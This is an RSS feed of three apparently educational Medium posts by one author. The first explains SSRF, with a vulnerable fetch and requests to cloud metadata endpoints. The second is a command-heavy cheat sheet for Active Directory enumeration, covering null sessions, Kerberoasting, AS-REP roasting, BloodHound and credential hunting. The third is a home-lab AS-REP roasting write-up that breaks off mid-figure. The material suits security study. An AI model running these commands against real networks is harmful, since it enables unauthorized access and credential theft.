<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sachin kewat on Medium]]></title>
        <description><![CDATA[Stories by Sachin kewat on Medium]]></description>
        <link>https://medium.com/@sachinkewat809?source=rss-6f3453bf83f3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*_yMeG5Y6D7bVRdFIfyfk_A.jpeg</url>
            <title>Stories by Sachin kewat on Medium</title>
            <link>https://medium.com/@sachinkewat809?source=rss-6f3453bf83f3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 20:31:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sachinkewat809/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SSRF in Simple | Server Side Request Forgery | Cybersecurity Lesson]]></title>
            <link>https://medium.com/@sachinkewat809/ssrf-in-simple-server-side-request-forgery-cybersecurity-lesson-9434503ac589?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/9434503ac589</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[owasp-top-10]]></category>
            <category><![CDATA[ssrf]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Wed, 15 Jul 2026 17:34:03 GMT</pubDate>
            <atom:updated>2026-07-15T17:34:03.042Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi everyone! Today I’m going to explain <strong>SSRF (Server-Side Request Forgery)</strong> in the simplest way possible so that everyone can understand it.</p><p>We’ll understand the logic behind how SSRF actually happens — from the code to a real SSRF attack, from the backend to the frontend, and from the server to internal requests.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/1*e6uBzLRqO_1JUtHvuWXM8g.png" /><figcaption>AURA+++</figcaption></figure><p>Let’s assume you’re a <strong>pookie developer</strong> and you’ve built an <strong>Image Fetch</strong> feature in your application.</p><p>The application has multiple dropdowns where users can select an image and its name. When they click <strong>Fetch</strong>, your backend downloads that image from the URL and displays it to the user.</p><p>From the user’s perspective, it looks like the browser is fetching the image. But in reality, the <strong>server</strong> is the one making the request.</p><p>As a pookie developer, you might write something like this:</p><pre>url = request.form[&quot;image_url&quot;]<br>response = requests.get(url)</pre><p>Let’s understand what these two lines are doing:</p><ul><li>request.form[&quot;image_url&quot;] → Takes the URL that the user submitted.</li><li>requests.get(url) → The backend sends an HTTP request to that URL and fetches whatever is there.</li></ul><p>For example, if the user enters:</p><pre>https://example.com/image.jpg</pre><p>Your server does this:</p><pre>User<br>   │<br>   │ https://example.com/image.jpg<br>   ▼<br>Application<br>   │<br>   │ requests.get(url)<br>   ▼<br>example.com</pre><p>Everything works perfectly because the URL points to a normal public website.</p><p>Now here’s the important part.</p><p>As a developer, you expected users to provide <strong>public image URLs</strong>, but your code <strong>never checks where the URL is pointing</strong>. It simply accepts the user’s input and tells the server to fetch it.</p><p>Now, let’s say I capture the request and replace the image URL with an internal URL, for example:</p><pre>http://127.0.0.1/admin</pre><p>When I send the modified request, the <strong>server</strong> makes the request instead of my browser.</p><p>Since 127.0.0.1 refers to the server&#39;s own localhost, the server tries to access its internal /admin page.</p><p>If the application returns the fetched response to me, I may receive the contents of that admin page — even though I could never access it directly from my browser.</p><p>This is the basic idea behind <strong>Server-Side Request Forgery (SSRF)</strong>: tricking the server into making requests on your behalf to resources that are normally inaccessible to you.</p><h3>Now, how can an application be vulnerable to SSRF through AWS Metadata?</h3><p>Now you might be wondering, <strong>why do people always talk about AWS Metadata in SSRF?</strong></p><p>Many applications are hosted on cloud providers like AWS. Every AWS EC2 instance has a special <strong>Instance Metadata Service (IMDS)</strong> that runs on a link-local IP address:</p><pre>http://169.254.169.254/</pre><p>This address is <strong>not accessible from the Internet</strong>. It is intended to be accessed <strong>only by the EC2 instance itself</strong> to retrieve information such as instance metadata and, depending on the configuration, temporary IAM credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7Jd43ZtprWnR55SJxqsUg.png" /></figure><p>Normally, an attacker cannot directly access this IP.</p><p>However, if an application is vulnerable to SSRF and it allows the server to fetch arbitrary URLs, the attacker may try to make the <strong>server</strong> send a request to the metadata service instead.</p><p>The flow looks like this:</p><pre>Attacker<br>    │<br>    │ URL: http://169.254.169.254/<br>    ▼<br>Vulnerable Application<br>    │<br>    │ requests.get(url)<br>    ▼<br>AWS Instance Metadata Service (IMDS)</pre><p>Remember, the attacker is <strong>not</strong> communicating with the metadata service directly. The <strong>server</strong> is making the request on the attacker’s behalf.</p><p>If the application returns the response and the environment is not properly protected, the attacker may be able to obtain metadata or temporary IAM credentials. Those credentials could then be used to access AWS resources that the IAM role is permitted to use.</p><blockquote><strong><em>Note:</em></strong><em> Modern AWS environments often use </em><strong><em>IMDSv2</em></strong><em>, which requires a session token before metadata can be accessed. This significantly reduces the risk of straightforward SSRF attacks against the metadata service, although misconfigurations or other application issues can still create SSRF vulnerabilities.</em></blockquote><h3>What is IMDSv2, and why does it matter?</h3><p>Earlier, AWS used <strong>IMDSv1 (Instance Metadata Service Version 1)</strong>.</p><p>With IMDSv1, if an application was vulnerable to SSRF, an attacker could simply make the server send a request like:</p><pre>GET http://169.254.169.254/latest/meta-data/</pre><p>Since the request came from the EC2 instance itself, the metadata service would respond with the requested information. This made IMDSv1 a common target during SSRF attacks.</p><h3>AWS introduced IMDSv2</h3><p>To reduce this risk, AWS introduced <strong>IMDSv2</strong>.</p><p>Instead of allowing anyone on the instance to directly request metadata, IMDSv2 requires a <strong>session token</strong>.</p><p>The process works like this:</p><h3>Step 1: Request a token</h3><p>The application must first send a <strong>PUT</strong> request to obtain a temporary token.</p><pre>PUT /latest/api/token HTTP/1.1<br>Host: 169.254.169.254<br>X-aws-ec2-metadata-token-ttl-seconds: 21600</pre><p>If the request is valid, AWS returns a token, for example:</p><pre>AQAEAHh...</pre><h3>Step 2: Use the token</h3><p>Now every metadata request must include that token.</p><pre>GET /latest/meta-data/iam/security-credentials/ HTTP/1.1<br>Host: 169.254.169.254<br>X-aws-ec2-metadata-token: AQAEAHh...</pre><p>Only then will the metadata service return the requested data.</p><h3>Why does this help against SSRF?</h3><p>Many SSRF vulnerabilities only let an attacker make a <strong>single GET request</strong> to an arbitrary URL.</p><p>With IMDSv2, that’s no longer enough.</p><p>An attacker would first need to:</p><ol><li>Send a <strong>PUT</strong> request to obtain a token.</li><li>Read the returned token.</li><li>Send another request that includes the token in the X-aws-ec2-metadata-token header.</li></ol><p>If the SSRF vulnerability cannot perform multiple requests, cannot use the PUT method, or cannot add custom headers, the attack against IMDSv2 typically fails.</p><h3>Is IMDSv2 impossible to exploit?</h3><p>No.</p><p>IMDSv2 is a <strong>mitigation</strong>, not a guarantee.</p><p>If an SSRF vulnerability allows an attacker to:</p><ul><li>Send different HTTP methods (including PUT),</li><li>Add arbitrary headers,</li><li>Read responses, and</li><li>Make multiple requests,</li></ul><p>then IMDSv2 may still be reachable.</p><p>This is why developers should <strong>fix the SSRF vulnerability itself</strong> by validating URLs, restricting outbound network access, and allowing requests only to trusted destinations instead of relying solely on IMDSv2.</p><pre>| Cloud Provider     |   Metadata IP   | Header Required                        |<br>| ------------------ | --------------- | -------------------------------------- |<br>| AWS                | 169.254.169.254 | IMDSv2 uses `X-aws-ec2-metadata-token` |<br>| Microsoft Azure    | 169.254.169.254 | `Metadata: true`                       |<br>| Google Cloud (GCP) | 169.254.169.254 | `Metadata-Flavor: Google`              |</pre><p>Thank you for watching! ❤️</p><p>Let’s connect on <strong>LinkedIn</strong> — <strong>Sachin Kewat</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9434503ac589" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Attackers Really Enumerate Active Directory Environments]]></title>
            <link>https://medium.com/@sachinkewat809/how-attackers-really-enumerate-active-directory-environments-6a17a8bc7a43?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/6a17a8bc7a43</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Sat, 28 Feb 2026 06:36:55 GMT</pubDate>
            <atom:updated>2026-02-28T06:36:55.861Z</atom:updated>
            <content:encoded><![CDATA[<p>I’ve been learning how Active Directory environments actually get enumerated — from zero access to low-priv domain creds. Linux, Windows, with creds, without creds — just understanding how things really look during an engagement.</p><p>Hey guys, I’m Sachin. I’m a security consultant who’s still learning, and in this series I’ll be sharing what I figure out along the way.</p><h3>🐧 PART 1: LINUX ENUMERATION (No Creds)</h3><p>You’re on your Kali/Parrot/Whatever. You got an IP or a range. That’s it. Here’s what hits.</p><h3>1.1 Network Recon — Find the DC First</h3><p>Quick port scan for DC services<br>nmap -p 88,389,445,636,3268–3269 -T4 -open 192.168.0.0/24</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/1*lCHKiQkaNX-VgeG-lemldg.png" /></figure><p>Or let crackmapexec map it out</p><pre>crackmapexec smb 10.10.10.0/24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xMhsjz6IlpjNz-TjAMCtyQ.png" /></figure><h3>1.2 SMB Null Sessions — The Old Reliable</h3><pre># Check for null session access<br>smbclient -L //192.168.0.104 -N</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/1*S50DVuE7DIyJzXrpi0iLvg.png" /></figure><pre>smbclient //10.10.10.10/IPC$ -N</pre><pre># If it connects, map it out<br>rpcclient -U “” -N 192.168.0.104<br>&gt;enumdomusers<br>&gt;enumdomgroups<br>&gt;querydominfo<br>&gt;enumalsgroups builtin<br>&gt;enumdomains<br>&gt;dsr_enumtrustdom<br>&gt;netshareenumall</pre><h3>1.3 LDAP Anonymous Binds</h3><pre># Get domain naming context<br>ldapsearch -x -H ldap://192.168.0.104 -b &quot;&quot; -s base namingcontexts<br><br># Dump all (if allowed)<br>ldapsearch -x -H ldap://192.168.0.104 -b &quot;DC=cyber,DC=local&quot;<br><br># Users<br>ldapsearch -x -H ldap://192.168.0.104 -b &quot;DC=cyber,DC=local&quot; &quot;(objectClass=user)&quot; sAMAccountName<br><br># Computers<br>ldapsearch -x -H ldap://192.168.0.104 -b &quot;DC=cyber,DC=local&quot; &quot;(objectClass=computer)&quot; dNSHostName<br><br># SPNs<br>ldapsearch -x -H ldap://192.168.0.104 -b &quot;DC=cyber,DC=local&quot; &quot;(servicePrincipalName=*)&quot; sAMAccountName servicePrincipalName<br><br># High privilege accounts<br>ldapsearch -x -H ldap://192.168.0.104 -b &quot;DC=cyber,DC=local&quot; &quot;(adminCount=1)&quot; sAMAccountName</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*It2lb2tW8lUc07yUXHKM7w.png" /></figure><h3>1.4 Kerberos User Enumeration</h3><pre># Kerbrute is king for this<br>kerbrute userenum -d cyber.local - dc 192.168.0.104 /usr/share/seclists/Usernames/cirt-default-usernames.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/1*LL_aC1RmxiDDqg5beuvxPw.png" /></figure><p># Nmap script version</p><pre>nmap -p 88 - script krb5-enum-users - script-args krb5-enum-users.realm=cyber.local,userdb=users.txt 192.168.0.104</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9fn7Yxfx-k_GhkphmCtyUg.png" /></figure><h3>1.5 The All-In-One Tools</h3><pre># Enum4linux-ng (better than original)<br>enum4linux-ng -A 192.168.0.104</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*L5wqil7FxB0KYMNIW9EXhg.png" /></figure><pre># NetExec (crackmapexec&#39;s successor)<br>netexec smb 192.168.0.104 -u &#39;&#39; -p &#39;&#39; --shares<br>netexec smb 192.168.0.104 -u &#39;guest&#39; -p &#39;&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VlLQGx9XtyOPmDNZ5w1qfg.png" /></figure><h3>🐧 PART 2: LINUX ENUMERATION (With Low Priv Creds)</h3><p>You got creds. Game changes.</p><h3>2.1 SMB Deep Dive</h3><pre># Map all the things<br>netexec smb 192.168.0.0/24 -u &#39;user&#39; -p &#39;pass&#39; --shares<br>netexec smb 192.168.0.104 -u &#39;user&#39; -p &#39;pass&#39; --users<br>netexec smb 192.168.0.104 -u &#39;user&#39; -p &#39;pass&#39; --groups<br>netexec smb 192.168.0.104 -u &#39;user&#39; -p &#39;pass&#39; --local-groups<br>netexec smb 192.168.0.104 -u &#39;user&#39; -p &#39;pass&#39; --loggedon-users<br>netexec smb 192.168.0.104 -u &#39;user&#39; -p &#39;pass&#39; --sessions<br>netexec smb 192.168.0.104 -u &#39;user&#39; -p &#39;pass&#39; --disks<br>netexec smb 192.168.0.104 -u &#39;user&#39; -p &#39;pass&#39; --pass-pol</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M3MrlpQARCPz1JlbtwmmGA.png" /><figcaption>Great tool if you find creds and you are in internal network</figcaption></figure><h3>2.2 LDAP Full Access</h3><pre># Full domain dump<br>ldapdomaindump -u &#39;domain.local\user&#39; -p &#39;pass&#39; 192.168.0.106</pre><pre># Targeted queries<br>ldapsearch -x -H ldap://192.168.0.106 -D &#39;user@domain.local&#39; -w &#39;pass&#39; -b &quot;DC=domain,DC=local&quot; &quot;(objectClass=user)&quot;</pre><pre># Find service accounts (kerberoast targets)<br>ldapsearch -x -H ldap://192.168.0.106 -D &#39;user@domain.local&#39; -w &#39;pass&#39; -b &quot;DC=domain,DC=local&quot; &quot;(servicePrincipalName=*)&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DkC4UjZGE5yqfg27b4UunQ.png" /></figure><h3>2.3 Kerberos Attacks</h3><pre># Kerberoast<br>GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.10 -request</pre><pre># AS-REP roast<br>GetNPUsers.py domain.local/user:pass -dc-ip 10.10.10.10 -request</pre><pre># Find delegation<br>findDelegation.py domain.local/user:pass -dc-ip 10.10.10.10</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rYTbWn32ok4esy1cVP5c4w.png" /><figcaption>REP ROAST SUCCESS</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a7DmYKTXnpX-MwEap-zNWg.png" /><figcaption>Delegation on DC</figcaption></figure><h3>2.4 BloodHound Data</h3><pre># Python collector<br>bloodhound-python -u USER-1 -p &#39;Password123#&#39; \<br>-d cyber.local \<br>-dc DC.cyber.local \<br>-ns 192.168.0.106 \<br>-c all<br><br><br>After this run neo4j console</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X1KxGdTt7RgyJ6j4tNsyDg.png" /><figcaption>BloodHound</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V39EJsMIgG97R63dkPkHiQ.png" /><figcaption>neo4j default creds will be username and password neo4j</figcaption></figure><p>open new terminal and run bloodhound</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZlT34dwUaQoR2EjFFJSKQ.png" /><figcaption>it will open new terminal and user spam@example.com and admin as creds</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zOUBlSFDqho9vCQQz5nGow.png" /><figcaption>uploaded all json dumps</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fKfd7asrSN1HDsZCS7XcOA.png" /><figcaption>Whatever you have to do do it</figcaption></figure><pre># Or use netexec<br>netexec ldap 10.10.10.10 -u user -p pass --bloodhound --collection All</pre><h3>2.5 Password Policy &amp; Account Info</h3><pre># Get password policy<br>netexec smb 10.10.10.10 -u user -p pass --pass-pol</pre><pre># Check for accounts with bad passwords<br>netexec smb 10.10.10.10 -u user -p pass --users | grep -v &quot;status=Active&quot;</pre><h3>🪟 PART 3: WINDOWS ENUMERATION (No Creds)</h3><p>You’re on a Windows box but haven’t moved anywhere yet. Native commands only.</p><h3>3.1 Network Information Leak</h3><pre># Who am I connected to?<br>ipconfig /all<br>echo %LOGONSERVER%<br>echo %USERDNSDOMAIN%<br>set l</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*SEbqXkdUgGpqnxssuv_IVw.png" /><figcaption>ipconfig /all</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/454/1*O3wRvw7hX5KbS7DCZl4KjA.png" /><figcaption>echo %LOGONSERVER% and echo %USERDNSDOMAIN%</figcaption></figure><pre># DNS cache (sometimes shows internal servers)<br>ipconfig /displaydns</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*EcHxaArmcvTw-0c8Nk0BoQ.png" /></figure><pre># Network connections<br>netstat -ano<br>arp -a</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*TmZu4t1jyIHhiHU9JKTsKg.png" /></figure><pre># Current shares<br>net use<br>net share</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*28-XmlqHXrr_0VYCrMgxZg.png" /></figure><h3>3.2 Host Discovery (Ping Sweep)</h3><pre># Basic ping sweep<br>for /L %i in (1,1,254) do ping -n 1 10.10.10.%i | find &quot;Reply&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*YOTwx1be4FAHy6IFB2CKwg.png" /></figure><h3>3.3 Null Session Attempts</h3><pre># Try null IPC connection<br>net use \\192.168.0.106\IPC$ &quot;&quot; /u:&quot;&quot;</pre><pre># If it connects, try to list shares<br>net view \\192.168.0.107</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KZBOX-Oxpnz2JU3H1CpO6Q.png" /></figure><pre># Try RPC null session<br>nltest /server:10.10.10.10 /dclist:domain.local</pre><h3>3.4 SMB Browsing</h3><pre># Browse network<br>net view<br>net view /domain</pre><pre># If you find a host, check its shares<br>net view \\computername<br>dir \\computername\share</pre><h3>3.5 User Info Leakage</h3><pre># Current user info<br>whoami<br>whoami /groups<br>whoami /priv<br>systeminfo</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*WaXi9aMfaSy6EyuIhswK8Q.png" /></figure><pre># Check for cached creds<br>dir C:\Users\*.txt /s<br>dir C:\*.config /s</pre><h3>🪟 PART 4: WINDOWS ENUMERATION (With Low Priv Creds)</h3><p>You got a user. Now we hunt.</p><h3>4.1 Domain Information</h3><pre># Basic domain recon<br>net user /domain<br>net user %USERNAME% /domain<br>net group /domain<br>net group &quot;Domain Admins&quot; /domain<br>net group &quot;Domain Computers&quot; /domain<br>net group &quot;Enterprise Admins&quot; /domain<br>net group &quot;Domain Controllers&quot; /domain</pre><pre># Find DCs<br>nltest /dclist:domain.local<br>nltest /dsgetdc:domain.local<br>nltest /domain_trusts</pre><h3>4.2 Computer &amp; Share Enumeration</h3><pre># Find all domain computers<br>net group &quot;Domain Computers&quot; /domain</pre><pre># Check specific computers<br>net view \\computer01<br>net view \\dc01</pre><h3>4.3 Active Sessions (Lateral Movement Gold)</h3><pre># Who&#39;s logged in where<br>query user<br>query user /server:computer01</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*_b_Dggt4UHGcSsOZ6j3Y7A.png" /></figure><pre># Remote desktop sessions<br>qwinsta<br>qwinsta /server:computer01</pre><pre># Network sessions need admin priv<br>net session</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*qfvr7oEuhp-56ntruJdOIA.png" /></figure><h3>4.4 PowerShell Native (No Modules)</h3><pre># Get domain info without RSAT<br>([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain())</pre><pre># Find DCs<br>[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindAllDomainControllers()</pre><pre># Get all users<br>$domain = New-Object System.DirectoryServices.DirectoryEntry<br>$domain.psbase.Children | Where-Object {$_.psbase.SchemaClassName -eq &#39;user&#39;}</pre><pre># Get groups<br>$domain.psbase.Children | Where-Object {$_.psbase.SchemaClassName -eq &#39;group&#39;}</pre><h3>4.5 ADSI Enumeration (No Modules)</h3><pre># Set up ADSI search<br>$searcher = New-Object System.DirectoryServices.DirectorySearcher<br>$searcher.PageSize = 1000</pre><pre># Find all users<br>$searcher.Filter = &quot;(&amp;(objectClass=user)(objectCategory=person))&quot;<br>$searcher.FindAll()</pre><pre># Find admin accounts<br>$searcher.Filter = &quot;(&amp;(objectClass=user)(adminCount=1))&quot;<br>$searcher.FindAll()</pre><pre># Find SPNs<br>$searcher.Filter = &quot;(&amp;(objectClass=user)(servicePrincipalName=*))&quot;<br>$searcher.PropertiesToLoad.AddRange((&quot;name&quot;,&quot;servicePrincipalName&quot;))<br>$searcher.FindAll()</pre><h3>4.6 If RSAT is Installed</h3><pre># Get all users<br>Get-ADUser -Filter * -Properties *</pre><pre># Get specific user info<br>Get-ADUser jsmith -Properties *</pre><pre># Find all groups<br>Get-ADGroup -Filter *</pre><pre># Get group members<br>Get-ADGroupMember &quot;Domain Admins&quot;</pre><pre># Find all computers<br>Get-ADComputer -Filter * -Properties OperatingSystem,LastLogonDate</pre><pre># Find SPNs<br>Get-ADUser -Filter {ServicePrincipalName -ne &quot;$null&quot;} -Properties ServicePrincipalName</pre><pre># Find accounts with old passwords<br>Search-ADAccount -PasswordExpiring -TimeSpan 30.00:00:00</pre><pre># Find locked accounts<br>Search-ADAccount -LockedOut</pre><h3>4.7 Credential Hunting (The Real Gold)</h3><pre># Search all drives for config files<br>Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue -Include *.config,*.xml,*.txt,*.ps1 | Select-String &quot;password&quot;</pre><pre># Check specific locations<br>Get-Content &quot;C:\ProgramData\*\passwords.txt&quot; 2&gt;$null<br>Get-Content &quot;C:\Users\*\Desktop\*.txt&quot; 2&gt;$null<br>Get-ChildItem -Recurse C:\inetpub\</pre><pre># Registry hunting<br>reg query HKLM /f password /t REG_SZ /s 2&gt;$null<br>reg query HKCU /f password /t REG_SZ /s 2&gt;$null</pre><pre># Check saved RDP connections<br>dir C:\Users\%USERNAME%\Documents\*.rdp</pre><h3>4.8 Token &amp; Privilege Checking</h3><pre># Check privileges<br>whoami /priv</pre><h3>4.9 GPO Enumeration</h3><pre># Get all GPOs<br>Get-GPO -All | Select DisplayName, Id</pre><pre># Check specific GPO<br>Get-GPOReport -Name &quot;Default Domain Policy&quot; -ReportType HTML -Path .\report.html</pre><h3>4.10 Trust Relationships</h3><pre># Check domain trusts<br>nltest /trusted_domains<br>nltest /domain_trusts /v</pre><pre># Forest trusts<br>netdom query trust /d:domain.local</pre><h3>The Kill Chain: What to Check First</h3><h3>No Creds Priority:</h3><ol><li>Find DCs (nmap, netexec)</li><li>Check null sessions (smbclient, rpcclient)</li><li>Test anonymous LDAP (ldapsearch)</li><li>Enumerate users via Kerberos (kerbrute)</li><li>Run enum4linux-ng</li></ol><h3>With Creds Priority:</h3><ol><li>BloodHound data (all of it)</li><li>Find Kerberoastable accounts</li><li>Check for delegation</li><li>Search SYSVOL/NETLOGON for passwords</li><li>Find where admins are logged in</li><li>Check ACLs for abuse paths</li><li>Hunt shares for sensitive files</li><li>Check GPOs for misconfigurations</li></ol><h3>The “I Need Results Now” Cheat Sheet</h3><pre># Linux no creds - 2 minute version<br>netexec smb 10.10.10.0/24<br>enum4linux-ng -A 10.10.10.10<br>kerbrute userenum -d domain.local --dc 10.10.10.10 /wordlist.txt</pre><pre># Linux with creds - 5 minute version<br>netexec smb 10.10.10.0/24 -u user -p pass --shares --sessions<br>netexec ldap 10.10.10.10 -u user -p pass --bloodhound<br>GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.10 -request</pre><pre>:: Windows no creds - 2 minute version<br>net view /domain<br>echo %LOGONSERVER%<br>ipconfig /all<br>netstat -ano</pre><pre># Windows with creds - 5 minute version<br>net user /domain<br>net group &quot;Domain Admins&quot; /domain<br>Get-ADUser -Filter {ServicePrincipalName -ne &quot;$null&quot;} -Properties ServicePrincipalName<br>Get-ChildItem \\domain.local\SYSVOL -Recurse | Select-String &quot;password&quot;</pre><h3>Final Word</h3><p>The difference between someone who runs commands and someone who owns domains is knowing <strong>what to look for</strong>. Every command you run should be answering a question that leads to domain admin.</p><p>If you’re just running net user /domain because a guide told you to, you&#39;re wasting time. If you&#39;re running it because you&#39;re looking for that one service account that hasn&#39;t changed its password since 2018 and has an SPN pointing to a domain controller, you&#39;re doing it right.</p><p>Now go find some gold.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6a17a8bc7a43" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kerberos Misconfiguration to Get Domain Access (AS-REP Roasting Explained)]]></title>
            <link>https://medium.com/@sachinkewat809/kerberos-misconfiguration-to-get-domain-access-as-rep-roasting-explained-df533e6cd60e?source=rss-6f3453bf83f3------2</link>
            <guid isPermaLink="false">https://medium.com/p/df533e6cd60e</guid>
            <category><![CDATA[asrep-roasting]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kerberos]]></category>
            <dc:creator><![CDATA[Sachin kewat]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 07:54:58 GMT</pubDate>
            <atom:updated>2026-02-22T07:54:58.945Z</atom:updated>
            <content:encoded><![CDATA[<p>In this post, I’ll walk through how I went from zero credentials to valid domain access using an AS-REP Roasting attack, and more importantly, why it works.</p><h3>Lab Environment</h3><p><strong>Attacker:</strong> Kali Linux<br><strong>Domain Controller:</strong> Windows Server 2022<br><strong>Domain:</strong> cyber.local</p><p>Goal: get access without a single username or password.</p><h3>Creating the Vulnerable Account</h3><p>To simulate a real-world misconfiguration, I intentionally configured a domain user to disable Kerberos preauthentication.</p><p>On the Domain Controller:</p><p><strong>Server Manager → Tools → Active Directory Users and Computers</strong></p><p>I opened the USER-1 account properties and under the <strong>Account</strong> tab enabled:</p><blockquote><em>Do not require Kerberos preauthentication</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wiOhKaYH6pfLZASIxtByFA.png" /></figure><p>This single setting allows the Domain Controller to return encrypted Kerberos authentication data before validating the user’s identity.</p><p>In real environments, this is often enabled for legacy applications, service accounts, or as a forgotten troubleshooting change.</p><h3>ATTACKING: Discovering the Domain Environment</h3><p>I began with network enumeration to identify Windows systems and domain information.</p><pre>└─# crackmapexec smb 192.168.0.0/24                                      <br>SMB         192.168.0.100   445    USER-1           [*] Windows 11 / Server 2025 Build 26100 x64 (name:USER-1) (domain:cyber.local) (signing:False) (SMBv1:False)<br>SMB         192.168.0.104   445    DC               [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:cyber.local) (signing:True) (SMBv1:False)</pre><p>This revealed a Domain Controller at 192.168.0.104 within the cyber.local domain.</p><p>At this stage, I had no credentials — only an IP address and a domain name.</p><h3>Modern AD Doesn’t Allow Anonymous Enumeration</h3><p>Older Active Directory environments often allowed dumping all users anonymously.</p><p>Modern ones don’t.</p><p>Every attempt to list users through SMB, LDAP, or RPC failed — exactly as it should in a hardened setup.</p><p>So instead of fighting the system, I used Kerberos itself.</p><h3>Instead of dumping users directly, I created a small username wordlist based on common naming conventions.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*kCcoXqjLNGr9Y6MWjcySHg.png" /></figure><p>This list would be used to probe Kerberos responses for valid accounts.</p><h3>Enumerating Users via Kerberos</h3><p>Using Impacket’s GetNPUsers tool, I queried the Domain Controller:</p><pre>GetNPUsers.py cyber.local/ -dc-ip 192.168.0.104 -usersfile user.txt -no-pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pR8blnGZaaTlBCV6CKo1Rw.png" /></figure><p>Most usernames returned errors.</p><p>However, one account behaved differently:</p><p>USER-1</p><p>This confirmed the user existed and was vulnerable to AS-REP Roasting.</p><h3>Why the Domain Controller Returned a Hash</h3><p>Normally, Kerberos requires users to prove knowledge of their password before receiving encrypted ticket data.</p><p>But because preauthentication was disabled for USER-1, the Domain Controller skipped this verification.</p><p>Instead, it immediately returned encrypted Kerberos authentication data — encrypted using USER-1’s password.</p><p>The response appeared as:</p><pre>$krb5asrep$23$USER-1@CYBER.LOCAL:...</pre><p>No login occurred.</p><p>The Domain Controller simply provided a blob protected by the user’s password.</p><h3>Cracking the Hash Offline</h3><p>Since the encryption key is the user’s password, the attack becomes fully offline.</p><p>I cracked the hash using Hashcat:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8ee4jpqK6b9-xE-1zAtqA.png" /><figcaption>we got the password</figcaption></figure><p>Within minutes, I recovered the clear-text password.</p><p>At this point, I had legitimate domain access.</p><h3>Post-Exploitation and Further Escalation</h3><p>With valid credentials, I was able to:</p><ul><li>Enumerate domain users<br> • Access SYSVOL and NETLOGON shares<br> • Explore internal resources<br> • Obtain interactive shells<br> • Launch further attacks such as Kerberoasting</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Xpj9GugqCONAr-9YvcqjA.png" 